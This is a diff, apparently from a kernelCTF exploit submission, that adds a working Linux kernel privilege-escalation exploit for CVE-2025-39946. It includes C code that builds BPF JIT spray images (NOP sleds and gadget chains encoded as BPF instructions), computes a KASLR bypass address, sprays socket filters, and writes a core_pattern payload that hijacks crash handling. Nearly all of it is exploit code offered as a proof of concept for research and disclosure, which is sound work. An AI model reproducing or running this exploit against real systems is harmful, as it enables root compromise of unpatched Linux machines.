BPF_MOD | BPF_K, 0x11111111); + size += i * insn_lengths[MOD]; + for (i = 0; i < MAX(1/*need at least one ret at the end*/, (desired_size - size) / insn_lengths[RET]); i++) + OP(BPF_RET | BPF_A, 0); + + // fixup jump labels, choose furthest possible distances + for (i = fixup_start; i < fixup_end; i++) { + u32 jt = MIN(255, insn_i - 1 - i - 1); + filter[i].jt = (u8)jt; + } + + fprintf(stderr, "adding %u padding instructions to size 0x%x\n", insn_i - fixup_start, desired_size); + return insn_i; +} + +static unsigned __add_image_nop_sled(struct sock_filter* filter, unsigned insn_i, const unsigned* filter_len) { + // add a "nop" sled so that we can reliably hit the payload + // This generates fdiv / fsubr instructions that corrupt st(0) + // This means we lose another 10 bytes of the main payload. This is not really + // a problem for the core_pattern payload but needs to be considered + // otherwise. (There should be other options for the sled) + // + // See bpf_jit_binary_pack_alloc(): + // + // hole = min_t(unsigned int, size - (proglen + sizeof(*ro_header)), + // BPF_PROG_CHUNK_SIZE - sizeof(*ro_header)); + // start = get_random_u32_below(hole) & ~(alignment - 1); + // + // .. with hole <= 64 - 8 and alignment = 4 ==> start = 4*k for k in [0, 13] + // with prologue of size P our chain begins at most at P + 56 + 1(unalign) + // With instruction size = 2 for neg and 28 instructions we are guaranteed + // to hit the correct alignment and start position. + // + // Choosing the guessed payload location depends on this logic. With P = 27 + // in our case, we choose offset 27 + 56 + 1 = 84 for the RIP pointer after + // the image base. + for (unsigned j = 0; j < 28; j++) + OP(BPF_ALU | BPF_NEG, 0); + + return insn_i; +} + +static void prepare_bpf_jit_payload(struct sock_filter* filter, unsigned* filter_len) { + unsigned insn_i = 0; + + unsigned j = 0; + u32 offsets[0x1000] = {}; + + // always need a nop sled. Since alignment of the final image may not be so + // accurate we will add a larger nop sled just to be sure. + for (int i = 0; i < 50; i++) + OP(BPF_ALU | BPF_NEG, 0); + + // First prepare the return. This variant creates an infinite loop assuming + // we are being called from the nop sled. + // + // If this is not desired the nop sled part I needs to preserve any volatile + // registers that might be needed (looking at rax, rcx, rbx, rbp in particular, + // rcx is always clobbered and needs to be preserved first if needed) + // (Depending on the return gadget chosen, r13 is clobbered as well, but fixup + // is not so easy in that case) + // (If decided to do a graceful return rax can either be the pointer to the + // kernel memory we corrupted or any desired value in eax. In the latter case + // the standard bpf leave epilogue can be used, but needs setup of course) + // + + // Coming from the nop sled we have on the stack: + // + // [ rip - sled length ] <== rsp + // [ original callee ] + // + // .. duplicate to keep invariant when infinite looping + offsets[j++] = pop_rdx(); + offsets[j++] = pop_rax(); + offsets[j++] = push_rax(); + offsets[j++] = push_rdx(); + // .. swap the second copy around so that the callee is at the top + offsets[j++] = push_rdx(); + offsets[j++] = push_rax(); + + + // Now create the kernel pointer where we intend to write to. + // The return address is at the top of the stack now + for (u8 byte = 0; byte < sizeof(u32); byte++) { + u8 t = (target_addr >> (byte * 8)) & 0xFF; + u8 r = (return_addr >> (byte * 8)) & 0xFF; + + u8 off = t > r ? t - r : r - t; + if (off == 0) + continue; + + // get a stack pointer + offsets[j++] = push_rsp(); + + if (byte > 0) { + // get a pointer to the stack pointer into rbp + offsets[j++] = push_rsp(); + offsets[j++] = pop_rbp(); + + // encode the byte offset. We know this will always work + offsets[j++] = mov_eax_0xe90000XX(0x10); + offsets[j++] = xor_eax_0xe90000XX(byte ^ 0x10); + + // increment stack pointer + offsets[j++] = add_RBP_eax(); + } + + // load pointer into rbp. This points to the memory we want to modify + offsets[j++] = pop_rbp(); + + j = mov_byte_into_eax(offsets, j, off); + + // apply the offset + if (t > r) + offsets[j++] = add_RBP_eax(); + else + offsets[j++] = sub_RBP_eax(); + } + + // get the correct address into rax + offsets[j++] = pop_rax(); + + // Now prepare for exit + // + // BPF function epilogue looks like this: + // pop r13 + // pop rbx + // leave + // ret + // + // At the top of the stack is the return address now, so we can simply create + // a frame here (we would corrupt rbx and r13 but that is fine for the loop) + offsets[j++] = push_rbp(); + offsets[j++] = push_rsp(); + offsets[j++] = pop_rbp(); + + // Finally, write the payload. This terminates our chain and we continue + // with the normal bpf instructions afterwards + // Note that this injects another instruction: + // add byte ptr [rax], al + // Since rax is a valid pointer this does not matter. But we corrupt some of + // the written payload. (Which is not a problem though because we skipped the + // initial bytes anyway) + offsets[j++] = __fnsave_RAX(); + + insn_i = __encode_offsets(filter, insn_i, filter_len, offsets, j, RET, NULL); + + fprintf(stderr, "[payload] num insn = %d\n", insn_i); + *filter_len = insn_i; +} + +static void prepare_bpf_jit_nop_sled(struct sock_filter* filter, unsigned* filter_len) { + unsigned insn_i = 0; + + unsigned j = 0; + u32 offsets[0x1000] = {}; + u32 offsets2[0x100] = {}; + + // Bypassing KASLR: + // in arch/x86/kernel/module.c: + // Offset is in [1, 1024] * 0x1000 = [0x1000, 0x400'000] + // + // Bpf jit images are allocated from the "pack allocator" (basically another + // simple layer on top of module_alloc). + // One pack is of size 2MB = 0x200'000 (assuming 1 numa node) + // + // The module_alloc allocator is rather simple (backed by vmalloc), returning + // contiguous memory pages. One slight issue is that it emits guard pages + // after each (pack) allocation. + // + // We need to fill two packs to exhaust the entire range. + // Thus we will generate two valid chain payloads, all fitting into one pack. + // This avoids the guard page problem, but slightly decreases our success chances + // (assuming we have full control each pack, which can be achieved by exhausting + // the previous "dirty" pack until it is empty): + // One pack = 512 * 0x1000, we need 4.5 pages for the final payload image + + // 1.5 pages for the final nop sled image and can fill the remaining + // 512-6 = 506 pages with the nop sled image. + // Our initial image needs at least 8 pages of padding _before_ the final + // sled image thus we need to hit any of the prior 497 images. + // With two images we get 497*2 / (1024 + 2 /*guard pages*/) ~ 97% success chance. + // + // To visualize, each <> of size 512 pages (1 pack), G representing a guard page: + // :[random offset]< pad >|< slide 1 >G|< slide 2 >|< ... >G + // ^ ^ + // | | + // base address last possible page that works + // assuming random offset = 1, + // this is our gadget address + // + // General idea: + // - Generate 1-page sized images which form a "page level nop sled" + // + // To start it off, call 8 pages ahead with a chain like this (part I): + // neg eax f7 d8 + // shr $1,%eax d1 e8 + // jmp (0x80-S) e9 80 00 00 00 + // + // which gets interpreted as + // .. + // d8 d1 fcom st(1) + // e8 e9 80 00 00 call +0x80ee + // + // Now we have a 8-page + 0xee hole after which we can transplant a 1page jump chain + // with rets, something like this (part III): + // + // add dword [rsp], 0x1000 + // pop scratch + // push scratch + // push scratch + // ret + // + // Now this is actually not _that_ simple. Because of the random offset the kernel + // adds to each image we cannot simply trust the return address of the injected + // call when doing page-increments. + // To overcome this, we add another intermediate payload which adds a small-ish + // offset to this return address once (part II). After that we continue with the + // ret sled outlined above. + // + // To visualize, we try to achieve the following: + // + // [ IMAGE 0x0000 ] (size = 0x1000) + // 0 : call IMAGE +0x8000 + A + // .. + // A : add B to [rsp] (i.e. return address) + // push [rsp] + // ret + // ... + // A+B: add 0x1000 to [rsp] (i.e. return address) + // push [rsp] + // ret + // [ IMAGE 0x1000 ] (size = 0x1000) + // 0 : call IMAGE +0x8000 + A + // .. + // A : add B to [rsp] (i.e. return address) + // push [rsp] + // ret + // ... + // A+B: add 0x1000 to [rsp] (i.e. return address) + // push [rsp] + // ret + // + // ... + // + // [ IMAGE 0x8000 ] (size = 0x1000) + // 0 : call IMAGE +0x8000 + A + // .. + // A : add B to [rsp] (i.e. return address) + // push [rsp] + // ret + // ... + // A+B: add 0x1000 to [rsp] (i.e. return address) + // push [rsp] + // ret + // + // ... + // + // Now suppose our initial guess hits IMAGE 0x0000. This will call into payload + // part II or IMAGE 0x8000. At this point the return address is basically + // IMAGE 0x0000 + 0. Now the second payload will adjust this return address + // to IMAGE 0x0000 + B. Then we _return_ and hit part III of the previous + // IMAGE 0x0000 + A+B, which then continues to slide through IMAGE 0x?000 + A+B + // + // (actually part II will already add one page to the payload but you get the + // idea) + // + // Because of the random offsets at the start of each image, 0, A, A+B are all + // padded with nop slides themselves. + // + + // part I: Call into the "page nop sled" to get a instruction pointer on the stack + + // add nop sled + insn_i = __add_image_nop_sled(filter, insn_i, filter_len); + + // .. ends with + // neg eax f7 d8 + + // shr $1,%eax d1 e8 + OP(BPF_ALU | BPF_RSH | BPF_K, 1); + + // jmp (0x80-5) e9 80 00 00 00 + unsigned jmp_i = insn_i; + OP(BPF_JMP | BPF_JA, 0); + + // encode the offset of 0x80 + // 6 * DIV + 2 * STX + _Static_assert(6 * insn_lengths[DIV] + 2 * insn_lengths[STX] == 0x80, "invalid offset"); + OP(BPF_ALU | BPF_DIV | BPF_K, 0x11111111); + OP(BPF_ALU | BPF_DIV | BPF_K, 0x11111111); + OP(BPF_ALU | BPF_DIV | BPF_K, 0x11111111); + OP(BPF_ALU | BPF_DIV | BPF_K, 0x11111111); + OP(BPF_ALU | BPF_DIV | BPF_K, 0x11111111); + OP(BPF_ALU | BPF_DIV | BPF_K, 0x11111111); + OP(BPF_STX, 0); + OP(BPF_STX, 0); + filter[jmp_i].k = insn_i - jmp_i - 1; + + // Fix alignment of call + _Static_assert(insn_lengths[SHL] == 3, "invalid offset"); + OP(BPF_ALU | BPF_LSH | BPF_K, 2); + + // Fill up with nops. This is the hole that the call above jumps over in + // addition to the 8 pages (this is placed here for the image that is hit + // by the call) + for (j = 0; j < (0xee - 0x80 - insn_lengths[SHL]) / insn_lengths[NEG]; j++) + OP(BPF_ALU | BPF_NEG, 0); + + // part II: the callee 8 pages ahead + + // How long does the nop sled need to be for the next payload? + // We have max 56 bytes random slide from kernel. + // Assuming image which executed the call has slide length 0 and the image hit + // has slide length 56 we will hit the hole above (of size > 56), so nothing + // required. + // In the other extreme, call would hit 56 bytes after the hole so we need + // another nop sled like in the beginning + for (j = 0; j < 28; j++) + OP(BPF_ALU | BPF_NEG, 0); + + // Now the actual payload which is hit by the call. This payload will move + // 0x1000 into r8d and add a small offset to the return address which + // emulates the hole similar to the call, only that it widens the hole up + // the final "page nop sled" payload. + + // + // NOTE: Caution when editing the chain below. It was designed with some fiddling + // around making the encoding possible within 1 page (see also notes below) + // + + j = 0; + + // first get a known value into r8d. we only have _or_ and _add_ so here we are .. + // eax = -1 + offsets[j++] = mov_eax_0xe90000XX(0x01); + offsets[j++] = sub_eax_0xe90000XX(0x02); + + // [rsp] = -1 + offsets[j++] = push_rax(); + + // rax = rsp + offsets[j++] = push_rsp(); + offsets[j++] = pop_rax(); + + // r8d = -1 + offsets[j++] = or_r8d_RAX(); + + // clean up [rax] + offsets[j++] = pop_rax(); + + // eax = 8 + offsets[j++] = mov_eax_0xe90000XX(0x09); + offsets[j++] = sub_eax_0xe90000XX(0x01); + + // [rsp] = 8 + offsets[j++] = push_rax(); + + // rax = rsp + offsets[j++] = push_rsp(); + offsets[j++] = pop_rax(); + + offsets[j++] = add_r8d_RAX(); // r8d = 00000007 [rax] = 00000008 + offsets[j++] = add_RAX_r8d(); // r8d = 00000007 [rax] = 0000000f + offsets[j++] = add_r8d_RAX(); // r8d = 00000016 [rax] = 0000000f + offsets[j++] = add_RAX_r8d(); // r8d = 00000016 [rax] = 00000025 + offsets[j++] = add_r8d_RAX(); // r8d = 0000003b [rax] = 00000025 + offsets[j++] = add_RAX_r8d(); // r8d = 0000003b [rax] = 00000060 + offsets[j++] = add_RAX_r8d(); // r8d = 0000003b [rax] = 0000009b + offsets[j++] = add_r8d_RAX(); // r8d = 000000d6 [rax] = 0000009b + offsets[j++] = add_r8d_RAX(); // r8d = 00000171 [rax] = 0000009b + offsets[j++] = add_RAX_r8d(); // r8d = 00000171 [rax] = 0000020c + + // now we add the small offset to the return address before continuing + // preserve [rax], next address is the return address + offsets[j++] = pop_rdx(); + + // duplicate return address, now [rax] = return address, + offsets[j++] = pop_rbp(); + offsets[j++] = push_rbp(); + offsets[j++] = push_rbp(); + + // add the small offset (5 * 0x171) + // (we choose this because of alignment requirements and it being a reasonable + // value for the part III offset) + offsets[j++] = add_RAX_r8d(); + offsets[j++] = add_RAX_r8d(); + offsets[j++] = add_RAX_r8d(); + offsets[j++] = add_RAX_r8d(); + offsets[j++] = add_RAX_r8d(); + + // restore original [rax] value + offsets[j++] = pop_rbp(); + offsets[j++] = push_rdx(); + + offsets[j++] = add_r8d_RAX(); // r8d = 0000037d [rax] = 0000020c + offsets[j++] = add_RAX_r8d(); // r8d = 0000037d [rax] = 00000589 + offsets[j++] = add_RAX_r8d(); // r8d = 0000037d [rax] = 00000906 + offsets[j++] = add_RAX_r8d(); // r8d = 0000037d [rax] = 00000c83 + offsets[j++] = add_r8d_RAX(); // r8d = 00001000 [rax] = 00000c83 + + // now r8d is 0x1000 and ready to be used by the nop sled + // increment return address by another full page and start sliding + offsets[j++] = pop_rdx(); // tmp + offsets[j++] = push_rbp(); // new return address + offsets[j++] = add_RAX_r8d(); + + // duplicate return address to mimic a call + offsets[j++] = pop_rbp(); + offsets[j++] = pop_rdx(); // original return address, do not need anymore + offsets[j++] = push_rbp(); + offsets[j++] = push_rbp(); + + offsets[j++] = ret(); + + // part III: The "nop sled". At this point rax = rsp + 8, r8d = 0x1000 + unsigned j2 = 0; + // duplicate the return address + offsets2[j2++] = pop_rbp(); + offsets2[j2++] = push_rbp(); + offsets2[j2++] = push_rbp(); + + // jump 1 page forward + offsets2[j2++] = add_RAX_r8d(); + + // duplicate return address to mimic a call + offsets2[j2++] = pop_rbp(); + offsets2[j2++] = pop_rdx(); // original return address, do not need anymore + offsets2[j2++] = push_rbp(); + offsets2[j2++] = push_rbp(); + + offsets2[j2++] = ret(); + + // So in order to make the whole payload fit into 1 page we do an interleaved + // encoding of the two jump chains. + // The two chains were designed together so that the first one has a rather + // long hole at the end which we target for the encoding. + // This is hole encoding is best effort and is likely not going to work for + // arbitrary interleaving payloads. + struct hole_opts hole = HOLE_INIT(500 /*generous padding nop slide*/, offsets2, j2); + insn_i = __encode_offsets(filter, insn_i, filter_len, offsets, j, RET, &hole); + + // Now pad to the full page to ensure alignment between images + insn_i = __fill_to_size(filter, filter_len, insn_i, 0x1000); + + fprintf(stderr, "[nop sled] num insn = %d\n", insn_i); + *filter_len = insn_i; +} + +static void prepare_bpf_jit_nop_sled_final(struct sock_filter* filter, unsigned* filter_len) { + + // The final image needs to jump out of the slide and undo the added offset back to + // the original one in order to allow maximum space for the real payload + // We added 5*0x171 to the call return address for the slide. + // So simply increase this images size to cancel this out (+- some alignment, + // but we can increase the nop sled in the payload image a bit to make up for + // that) + + // we need to match the slide of the previous image (56) + call instruction (5+2encoding) + + // offset added to the call return address (5*0x171). + + unsigned insn_i = 0; + // First ret, get it out of the way... See X86_FEATURE_RETHUNK + OP(BPF_RET | BPF_A, 0); + + struct map_entry tmp[5 * 0x171 + 7 - insn_lengths[FIRST_RET]] = {}; + ASSERT(find_minimal_encoding(tmp, LEN(tmp), false)); + insn_i = __encode_translate_map(tmp, LEN(tmp), filter, filter_len, insn_i); + + // slide to both sides + for (int i = 0; i < 56*2 + 5 /*just to be sure*/; i++) + OP(BPF_ALU | BPF_NEG, 0); + + // now the same return logic of the previous slide images again + unsigned j = 0; + u32 offsets[0x100] = {}; + + // duplicate the return address + offsets[j++] = pop_rbp(); + offsets[j++] = push_rbp(); + offsets[j++] = push_rbp(); + + // jump 1 page forward + offsets[j++] = add_RAX_r8d(); + + // duplicate return address to mimic a call + offsets[j++] = pop_rbp(); + offsets[j++] = pop_rdx(); // original return address, do not need anymore + offsets[j++] = push_rbp(); + offsets[j++] = push_rbp(); + + offsets[j++] = ret(); + + insn_i = __encode_offsets(filter, insn_i, filter_len, offsets, j, MOD, NULL); + + // blow up size to roughly match desired offsets: + insn_i = __fill_to_size(filter, filter_len, insn_i, 0x1000 + 0x171 * 5 + 7); + + fprintf(stderr, "[nop sled final image] num insn = %d\n", insn_i); + *filter_len = insn_i; +} + +static void dump_bpf_jit_padding_to_full_pack(unsigned space_taken, unsigned long* offset) { + unsigned len = 512; + unsigned* filter_len = &len; + unsigned insn_i = 0; + struct sock_filter filter[512] = {}; + // First ret. See X86_FEATURE_RETHUNK + OP(BPF_RET | BPF_A, 0); + + unsigned filled_pages = (space_taken / 0x1000); + *offset = (unsigned long)(filled_pages / 512 + 1/*we fill at least one pack*/) * 0x1000 * 512; + filled_pages %= 512 /* sizeof pack in pages*/; + + // Since we always use jit payloads of at least page size we only need to fill + // the page sized holes + insn_i = __fill_to_size(filter, filter_len, insn_i, 0x1000); + + printf("struct sock_filter filter_padding[] = {\n"); + for (unsigned i = 0; i < insn_i; i++) { + PRINT_FILTER(filter[i]); + } + printf("};\n"); + printf("const unsigned n_filter_padding = %u;\n", 512 - filled_pages); +} + +int main(int argc, char* argv[]) { + #define PROG_LEN 0x1000 + struct sock_filter filter[PROG_LEN] = {}; + unsigned len = PROG_LEN; + + parse_opts(argc, argv); + + prepare_bpf_jit_nop_sled(filter, &len); + printf("struct sock_filter filter_nop_sled[] = {\n"); + for (unsigned i = 0; i < len; i++) { + PRINT_FILTER(filter[i]); + } + printf("};\n\n"); + + len = PROG_LEN; + prepare_bpf_jit_nop_sled_final(filter, &len); + printf("struct sock_filter filter_nop_sled_final[] = {\n"); + for (unsigned i = 0; i < len; i++) { + PRINT_FILTER(filter[i]); + } + printf("};\n\n"); + + len = PROG_LEN; + prepare_bpf_jit_payload(filter, &len); + printf("struct sock_filter filter_payload[] = {\n"); + for (unsigned i = 0; i < len; i++) { + PRINT_FILTER(filter[i]); + } + printf("};\n\n"); + + unsigned long offset; + dump_bpf_jit_padding_to_full_pack(bpf_jit_pack_space_taken, &offset); + + // see comments in prepare_bpf_jit_nop_sled() + unsigned long gadget = 0xffffffffc0000000 + + ((module_alloc_space_taken + 0xFFF) & 0xFFF) + + offset + #ifndef NOKASLR_DEBUG + + 0x1000 /* 1 page is guaranteed to be added as random offset */ + #endif + + (512 + 1 /*guard page*/ + 497) * 0x1000 /* end of valid range with minimal offset */ + + 84 /* bypass random per-image slide */ + + 8 /* pack header */ + + 1 /* break alignment */; + printf("unsigned long gadget = 0x%016lxull;\n\n", gadget); + + printf("int gadget_do_spray(void) {\n" + " int count = 0;\n" + " #define __do_spray(x) do {\\\n" + " count++; \\\n" + " if (spray_one_filter(x, sizeof(x) / sizeof(x[0])) < 0) \\\n" + " return -1;\\\n" + " } while (0)\n" + " for (unsigned i = 0; i < n_filter_padding; i++)\n" + " __do_spray(filter_padding);\n" + " for (int n = 0; n < 2; n++) {\n" + " for (int i = 0; i < 512 - 2 - 4; i++)\n" + " __do_spray(filter_nop_sled);\n" + " __do_spray(filter_nop_sled_final);\n" + " __do_spray(filter_payload);\n" + " }\n" + " return count;\n" + "}\n"); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/rip.h b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/rip.h new file mode 100644 index 000000000..520b3a0dd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/rip.h @@ -0,0 +1,87 @@ +#ifndef __H_RIP +#define __H_RIP + +#include +#include +#include +#include +#include +#include +#include + +struct fp_reg { + __u64 low; + __u16 high; +} __attribute__((__packed__)); + +struct fpu_state { + __u16 cw; // fpu control word + __u16 __pad0; + __u16 sw; // fpu status word + __u16 __pad1; + __u16 tw; // fpu tag word + __u16 __pad2; + __u32 ip; // fpu instruction pointer + __u16 ip_cs; // fpu instruction pointer selector + __u16 ip_op; // fpu last opcode + __u32 dpo; // fpu data pointer offset + __u16 dpo_ds; // fpu data pointer selector + __u16 __pad3; + struct fp_reg st[8]; +} __attribute__((__packed__)); + +// Offset of the actual payload bytes after the start of the written area. +// st(0) will get clobbered by sleds, so need to ignore that. +#define PAYLOAD_OFFSET (offsetof(struct fpu_state, st[1])) + +static inline void write_payload(const __u8* payload, unsigned len) { + struct fp_reg st[8]; + memset(&st, 0x01, sizeof(st)); + + int i = 8 - 1 - 1/*need to keep st(0) untouched, see nop sled comment*/; + while (i >= 0 && len > 0) { + unsigned remain = len < sizeof(struct fp_reg) ? len : sizeof(struct fp_reg); + memcpy(st + i, payload, remain); + + payload += remain; + len -= remain; + i--; + } + + assert(!len); + + asm volatile("finit"); + for (i = 0; i < 8; i++) { + asm volatile("fldt %0" : : "m"(st[i])); + } + + #if 0 + struct fpu_state state; + asm volatile("fnsave %0" : "=m"(state) : : "memory"); + for (unsigned i = 0; i < sizeof(state); i++) { + putchar(*((u8*)&state + i)); + } + #endif +} + +static inline void write_core_payload() { + static const char* core_pattern = "|/proc/%P/exe"; + write_payload((const __u8*)core_pattern, strlen(core_pattern) + 1); +} + +static inline int spray_one_filter(struct sock_filter* filter, unsigned short len) { + struct sock_fprog prog = { + .len = len, + .filter = filter, + }; + + int fd = socket(AF_INET, SOCK_DGRAM, 0); + if (fd >= 0 && setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog)) < 0) { + close(fd); + return -1; + } + + return fd; +} + +#endif diff --git a/pocs/linux/kernelctf/CVE-2025-39946_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/metadata.json new file mode 100644 index 000000000..619f5645f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/metadata.json @@ -0,0 +1,22 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp421"], + "vulnerability": { + "cve": "CVE-2025-39946", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0aeb54ac4cd5cf8f60131b4d9ec0b6dc9c27b20d", + "affected_versions": ["6.0-rc1 - 6.17-rc7"], + "requirements": { + "attack_surface": [], + "capabilities": [], + "kernel_config": ["CONFIG_TLS"] + } + }, + "exploits": { + "mitigation-v3b-6.1.55": { + "environment": "mitigation-v3b-6.1.55", + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "80% success rate" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2025-39946_mitigation/original.tar.gz b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/original.tar.gz new file mode 100644 index 000000000..0336b7030 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/original.tar.gz differ